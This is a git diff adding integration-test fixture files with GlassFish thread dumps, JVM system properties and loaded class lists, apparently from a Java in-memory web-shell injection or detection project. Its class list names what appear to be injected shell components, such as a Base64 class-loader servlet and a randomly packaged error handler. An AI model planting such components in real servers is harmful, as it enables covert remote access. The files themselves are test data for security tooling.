java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"pool-2-thread-1" #38 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5c88eae2 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"RMI TCP Connection(1)-192.168.215.4" #81 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.16/java.net.SocketInputStream.socketRead0(Native Method) + at java.base@11.0.16/java.net.SocketInputStream.socketRead(SocketInputStream.java:115) + at java.base@11.0.16/java.net.SocketInputStream.read(SocketInputStream.java:168) + at java.base@11.0.16/java.net.SocketInputStream.read(SocketInputStream.java:140) + at java.base@11.0.16/java.io.BufferedInputStream.fill(BufferedInputStream.java:252) + at java.base@11.0.16/java.io.BufferedInputStream.read(BufferedInputStream.java:271) + at java.base@11.0.16/java.io.FilterInputStream.read(FilterInputStream.java:83) + at java.rmi@11.0.16/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:544) + at java.rmi@11.0.16/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:796) + at java.rmi@11.0.16/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:677) + at java.rmi@11.0.16/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$182/0x0000000840423840.run(Unknown Source) + at java.base@11.0.16/java.security.AccessController.doPrivileged(Native Method) + at java.rmi@11.0.16/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:676) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"DynamicReloader" #64 daemon [TIMED_WAITING] on java.util.TaskQueue@2b58c5cc + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/java.lang.Object.wait(Native Method) + at java.base@11.0.16/java.util.TimerThread.mainLoop(Timer.java:553) + at java.base@11.0.16/java.util.TimerThread.run(Timer.java:506) + +"FileSystemWatchService" #82 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.16/sun.nio.fs.LinuxWatchService.poll(Native Method) + at java.base@11.0.16/sun.nio.fs.LinuxWatchService$Poller.run(LinuxWatchService.java:316) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"EventAdminAsyncThread #7" #84 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a72692 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"pool-13-thread-1" #110 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@31234e0f + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"admin-listener(1)" #55 daemon [WAITING] on java.lang.Object@6af6831 + java.lang.Thread.State: WAITING + at java.base@11.0.16/java.lang.Object.wait(Native Method) + at java.base@11.0.16/java.lang.Object.wait(Object.java:328) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:170) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"FelixResolver-3" #18 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@320b0309 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"EventAdminAsyncThread #10" #88 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a72692 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"RMI TCP Accept-8686" #71 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.16/java.net.PlainSocketImpl.socketAccept(Native Method) + at java.base@11.0.16/java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:474) + at java.base@11.0.16/java.net.ServerSocket.implAccept(ServerSocket.java:565) + at java.base@11.0.16/java.net.ServerSocket.accept(ServerSocket.java:533) + at java.rmi@11.0.16/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:394) + at java.rmi@11.0.16/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:366) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"pool-15-thread-1" #115 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5c88eae2 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + + +=========================================== + +StackClassNames: +com.fasterxml.jackson.ZBaNC.ErrorHandler +jakarta.Base64ClassLoaderServlet +jakarta.EmptyFilter +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardPipeline +org.apache.catalina.core.StandardWrapper +org.apache.catalina.core.StandardWrapperValve +org.apache.felix.cm.impl.UpdateThread +org.apache.felix.fileinstall.internal.DirectoryWatcher +org.apache.felix.framework.EventDispatcher +org.apache.felix.framework.EventDispatcher$1 +org.apache.felix.framework.FrameworkStartLevelImpl +org.apache.felix.framework.FrameworkWiringImpl +org.apache.felix.scr.impl.ComponentActorThread +org.glassfish.grizzly.ProcessorExecutor +org.glassfish.grizzly.filterchain.DefaultFilterChain +org.glassfish.grizzly.filterchain.ExecutorResolver$9 +org.glassfish.grizzly.http.server.HttpHandler +org.glassfish.grizzly.http.server.HttpServerFilter +org.glassfish.grizzly.nio.DefaultSelectorHandler +org.glassfish.grizzly.nio.SelectorRunner +org.glassfish.grizzly.nio.transport.TCPNIOTransport +org.glassfish.grizzly.strategies.AbstractIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable +org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker +org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker +org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker +org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable +org.jvnet.hk2.config.Transactions$Notifier$1 diff --git a/integration-test/src/test/resources/infos/GlassFish7ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/GlassFish7ContainerTestBasicInfo.txt new file mode 100644 index 00000000..c8a07ca8 --- /dev/null +++ b/integration-test/src/test/resources/infos/GlassFish7ContainerTestBasicInfo.txt @@ -0,0 +1,1273 @@ +# Generated At 2025-08-10 14:57:25 +SystemProps: +javax.xml.accessExternalSchema: all +jdk.tls.rejectClientInitiatedRenegotiation: true +java.specification.version: 17 +jdk.corba.allowOutputStreamSubclass: true +sun.jnu.encoding: UTF-8 +com.sun.aas.installRoot: /usr/local/glassfish7/glassfish +hei: +sun.arch.data.model: 64 +sun.font.fontmanager: sun.awt.X11FontManager +java.vendor.url: https://java.oracle.com/ +com.sun.aas.productRoot: /usr/local/glassfish7 +catalina.useNaming: false +org.omg.CORBA.ORBSingletonClass: com.sun.corba.ee.impl.orb.ORBSingleton +sun.boot.library.path: /usr/java/openjdk-17/lib +sun.java.command: com.sun.enterprise.glassfish.bootstrap.GlassFishMain -upgrade false -domaindir /usr/local/glassfish7/glassfish/domains/domain1 -read-stdin true -asadmin-args --host,,,localhost,,,--port,,,4848,,,--secure=false,,,--terse=false,,,--echo=false,,,--interactive=false,,,start-domain,,,--verbose=true,,,--watchdog=false,,,--debug=false,,,--domaindir,,,/usr/local/glassfish7/glassfish/domains,,,domain1 -domainname domain1 -instancename server -type DAS -verbose true -asadmin-classpath /usr/local/glassfish7/glassfish/lib/client/appserver-cli.jar -debug false -asadmin-classname com.sun.enterprise.admin.cli.AdminMain +jdk.debug: release +java.specification.vendor: Oracle Corporation +gosh.args: --nointeractive +java.version.date: 2022-01-18 +java.home: /usr/java/openjdk-17 +com.sun.enterprise.security.httpsOutboundKeyAlias: s1as +file.separator: / +java.vm.compressedOopsMode: 32-bit +line.separator: + +javax.rmi.CORBA.StubClass: com.sun.corba.ee.impl.javax.rmi.CORBA.StubDelegateImpl +java.vm.specification.vendor: Oracle Corporation +osgi.shell.telnet.ip: 127.0.0.1 +jdk.attach.allowAttachSelf: true +java.specification.name: Java Platform API Specification +com.sun.aas.derbyRoot: /usr/local/glassfish7/javadb +simple.jacc.provider.JACCRoleMapper.class: com.sun.enterprise.security.ee.web.integration.GlassfishRoleMapper +javax.rmi.CORBA.UtilClass: com.sun.corba.ee.impl.javax.rmi.CORBA.Util +jdbc.drivers: org.apache.derby.jdbc.ClientDriver +javax.net.ssl.trustStore: /usr/local/glassfish7/glassfish/domains/domain1/config/cacerts.jks +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 17.0.2+8-86 +GlassFish_Platform: Felix +user.name: root +AS_CONFIG: /usr/local/glassfish7/glassfish/config/../config +WALL_CLOCK_START: 2025-08-10T14:57:22.847804254Z +felix.fileinstall.poll: 5000 +java.security.policy: /usr/local/glassfish7/glassfish/domains/domain1/config/server.policy +com.sun.enterprise.config.config_environment_factory_class: com.sun.enterprise.config.serverbeans.AppserverConfigEnvironmentFactory +felix.fileinstall.log.level: 2 +file.encoding: UTF-8 +com.sun.aas.imqLib: /usr/local/glassfish7/mq/lib +AS_IMQ_BIN: ../../mq/bin +com.sun.enterprise.jaccprovider.property.repository: /usr/local/glassfish7/glassfish/domains/domain1/generated/policy +java.io.tmpdir: /tmp +java.version: 17.0.2 +java.vm.specification.name: Java Virtual Machine Specification +com.sun.aas.instanceRoot: /usr/local/glassfish7/glassfish/domains/domain1 +native.encoding: UTF-8 +java.library.path: /usr/local/glassfish7/glassfish/lib:/usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +java.vendor: Oracle Corporation +ANTLR_USE_DIRECT_CLASS_LOADING: true +java.rmi.server.randomIDs: true +sun.io.unicode.encoding: UnicodeLittle +AS_DEF_DOMAINS_PATH: /usr/local/glassfish7/glassfish/config/../domains +felix.fileinstall.dir: /usr/local/glassfish7/glassfish/modules/autostart/ +java.class.path: /usr/local/glassfish7/glassfish/modules/glassfish.jar +com.sun.aas.instanceRootURI: file:/usr/local/glassfish7/glassfish/domains/domain1/ +jakarta.security.jacc.PolicyConfigurationFactory.provider: org.glassfish.exousia.modules.locked.SimplePolicyConfigurationFactory +org.glassfish.gmbal.no.multipleUpperBoundsException: true +java.vm.vendor: Oracle Corporation +user.timezone: UTC +java.vm.specification.version: 17 +os.name: Linux +sun.java.launcher: SUN_STANDARD +sun.cpu.endian: little +config.parser: com.sun.enterprise.security.ee.jmac.ConfigDomainParser +user.home: /root +user.language: en +javax.rmi.CORBA.PortableRemoteObjectClass: com.sun.corba.ee.impl.javax.rmi.PortableRemoteObject +felix.fileinstall.bundles.new.start: true +com.sun.aas.hostName: fed0afef2ea8 +AS_INSTALL: /usr/local/glassfish7/glassfish/config/.. +java.awt.headless: true +com.ctc.wstx.returnNullForDefaultNamespace: true +AS_DEF_NODES_PATH: ../nodes +org.omg.CORBA.ORBClass: com.sun.corba.ee.impl.orb.ORBImpl +com.sun.aas.instanceName: server +org.glassfish.additionalOSGiBundlesToStart: org.apache.felix.shell,org.apache.felix.gogo.runtime,org.apache.felix.gogo.shell,org.apache.felix.gogo.command,org.apache.felix.shell.remote,org.apache.felix.fileinstall +path.separator: : +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +com.sun.aas.installRootURI: file:/usr/local/glassfish7/glassfish/ +java.runtime.name: OpenJDK Runtime Environment +osgi.shell.telnet.maxconn: 1 +felix.fileinstall.bundles.startTransient: true +AS_IMQ_LIB: ../../mq/lib +com.sun.aas.configRoot: /usr/local/glassfish7/glassfish/config +com.sun.aas.imqBin: /usr/local/glassfish7/mq/bin +java.vm.name: OpenJDK 64-Bit Server VM +AS_DERBY_INSTALL: /usr/local/glassfish7/glassfish/config/../../javadb +com.sun.aas.javaRoot: /usr/java/openjdk-17 +javax.net.ssl.keyStore: /usr/local/glassfish7/glassfish/domains/domain1/config/keystore.jks +java.security.auth.login.config: /usr/local/glassfish7/glassfish/domains/domain1/config/login.conf +felix.fileinstall.disableConfigSave: false +java.vendor.url.bug: https://bugreport.java.com/bugreport/ +catalina.home: /usr/local/glassfish7/glassfish/domains/domain1 +user.dir: /usr/local/glassfish7/glassfish/domains/domain1/config +os.arch: aarch64 +javax.management.builder.initial: com.sun.enterprise.v3.admin.AppServerMBeanServerBuilder +osgi.shell.telnet.port: 6666 +catalina.base: /usr/local/glassfish7/glassfish/domains/domain1 +java.util.logging.manager: org.glassfish.main.jul.GlassFishLogManager +com.sun.aas.agentRoot: /usr/local/glassfish7/glassfish/nodes +glassfish.version: Eclipse GlassFish 7.0.20 (commit: 4920866efcb92712ed5e831a3d1359c7ecc31383) +java.vm.info: mixed mode, sharing +java.vm.version: 17.0.2+8-86 +com.sun.aas.domainsRoot: /usr/local/glassfish7/glassfish/domains +java.class.version: 61.0 + +=========================================== + +ThreadStacks: +"Thread-9" #43 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@20332b0e + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1672) + at java.base@17.0.2/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.2/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[]]" #75 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1735) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"admin-listener(4)" #62 daemon [WAITING] on java.lang.Object@24a694bb + java.lang.Thread.State: WAITING + at java.base@17.0.2/java.lang.Object.wait(Native Method) + at java.base@17.0.2/java.lang.Object.wait(Object.java:338) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:170) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"EventAdminAsyncThread #1" #90 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@fa05ec7 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"EventAdminAsyncThread #6" #99 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@fa05ec7 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"RunLevelControllerThread-1754837844254" #35 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@787876b5 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.2/java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:704) + at java.base@17.0.2/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"admin-listener-expirer(1)" #64 daemon [TIMED_WAITING] on java.lang.Object@53a53ab + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:148) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"EventAdminAsyncThread #2" #91 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@fa05ec7 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@450e969c + java.lang.Thread.State: WAITING + at java.base@17.0.2/java.lang.Object.wait(Native Method) + at java.base@17.0.2/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.2/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.base@17.0.2/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172) + +"pool-1-thread-1" #39 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@13c6fc30 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1672) + at java.base@17.0.2/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.2/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"transaction-manager" #51 daemon [WAITING] on java.util.TaskQueue@504e2e7a + java.lang.Thread.State: WAITING + at java.base@17.0.2/java.lang.Object.wait(Native Method) + at java.base@17.0.2/java.lang.Object.wait(Object.java:338) + at java.base@17.0.2/java.util.TimerThread.mainLoop(Timer.java:537) + at java.base@17.0.2/java.util.TimerThread.run(Timer.java:516) + +"Common-Cleaner" #12 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@878860e + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/java.lang.Object.wait(Native Method) + at java.base@17.0.2/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.2/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + at java.base@17.0.2/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"http-listener-1(1)" #44 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@5b97f1f8 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue$Node.block(LinkedTransferQueue.java:470) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:669) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:616) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1286) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"FelixFrameworkWiring" #24 daemon [WAITING] on java.util.ArrayList@656345cd + java.lang.Thread.State: WAITING + at 